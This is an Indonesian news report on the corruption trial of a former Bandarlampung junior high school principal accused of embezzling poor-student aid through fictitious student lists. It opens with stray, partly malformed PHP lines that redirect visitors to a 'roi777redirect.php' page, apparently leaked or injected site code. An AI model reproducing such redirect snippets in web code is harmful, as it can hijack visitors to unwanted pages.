header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Mantan Kepala SMPN 24 Kembali Disidang -
Mantan Kepala SMPN 24 Kembali Disidang

TRANSLAMPUNG.COM– Mantan Kepala SMPN 24 Bandarlampung Helendrasari kembali menjalani persidangan di Pengadilan Tipikor Tanjungkarang. Kali ini ia tersangkut kasus dugaan korupsi dana bantuan siswa miskin (BSM) dengan anggaran Rp900 juta.

Dalam sidang perdana kemarin (16/2), jaksa penuntut umum (JPU) Syafei mendakwa Helendrasari melanggar pasal 2 ayat 1 juncto pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan UU Nomor 20/2001 tentang Perubahan atas UU Nomor 31/1999 tentang Pemberantasan Tindak Pidana Korupsi juncto pasal 55 ayat 1 ke-3 KUHP juncto pasal 64 ayat 1 KUHP.

Menurut jaksa, kasus ini bermula saat Helendrasari membentuk panitia peserta didik baru (PPDB) melalui jalur bina lingkungan (biling) pada 2013-2015. Panitia bertanggung jawab menerima dan menyeleksi berkas siswa baru melalui jalur tersebut.

”Dalam prosesnya, usulan nama-nama siswa yang akan mendapat bantuan SPP siswa miskin (jalur bina lingkungan, Red) yang sudah diverifikasi oleh tim seharusnya dirapatkan dan diumumkan. Namun terdakwa selaku kepala sekolah, mengganti nama-nama tersebut,” kata Syafei seperti dilansir dari radarlampung.co.id (grup translampung.com).

Ia kemudian memerintahkan Sekretaris Komite Sekolah Ety Kurniasih membuat keterangan tidak mampu fiktif.

Helendrasari lantas mengusulkan data tersebut ke Dinas Pendidikan Bandarlampung. Namun data yang disampaikan tidak hanya siswa reguler. Mereka yang sudah lulus, pindah sekolah, siswa yang telah meninggal dunia, dan siswa sekolah lain juga masuk. Bahkan nama siswa yang dijadikan lebih dari satu.

”Nama-nama tersebut dimasukan dalam daftar yang mendapatkan dana bantuan SPP siswa miskin pada 2013, 2014 dan 2015 dengan total 308 siswa,” sebut jaksa.

Para siswa ini mendapatkan dana SPP per semester dengan nilai Rp420 ribu. Berdasar data dari semester pertama 2013 sampai semester pertama 2015, total dana untuk bantuan siswa miskin ini mencapai Rp900 juta.

”Dana BSM yang dicairkan melalui rekening sekolah langsung diambil melalui bank bersama Ayu Septaria selaku bendahara sekolah. Sebab dana bisa diambil dengan spesimen tanda tangan Ayu,” urainya.

Dari sini, uang tersebut diserahkan oleh Ayu kepada terdakwa dengan disaksikan Sekretaris Komite Ety Kurniasih. Namun uang tersebut tidak pernah digunakan sesuai dengan ketentuan.

Sementara dalam kasus penyimpangan dana bantuan operasional sekolah (BOS), Helendrasari dituntut menjalani pidana penjara selama tujuh tahun enam bulan. Ia juga diharuskan membayar uang pengganti Rp748 juta.

Jika tidak dikembalikan dalam waktu satu bulan, maka hartanya akan dilelang. Apabila tidak mencukupi, diganti dengan penjara selama empat tahun enam bulan.

Kemudian mantan bendahara SMPN 24 Bandarlampung Ayu Septia dituntut pidana penjara selama empat tahun enam bulan dan membayar uang pengganti Rp110 juta.

Apabila tidak bisa, maka diganti penjara dua tahun tiga bulan. Ia juga harus membayar denda Rp200 juta subsidair tiga bulan kurungan.

Dalam sidang dengan agenda pembacaan tuntutan beberapa waktu lalu, JPU Eka Aftarini menyatakan keduanya melanggar pasal 2 ayat 1 juncto pasal 18 UU Nomor 31/1999 tentang Pemberantasan Tindak Korupsi juncto UU Nomor 20/2001 tentang perubahan atas UU Nomor 31/1999 juncto pasal 55 ayat 1 ke-1 juncto pasal 64 ayat 1 KUHP. (cw22/c1/ais)

News Reporter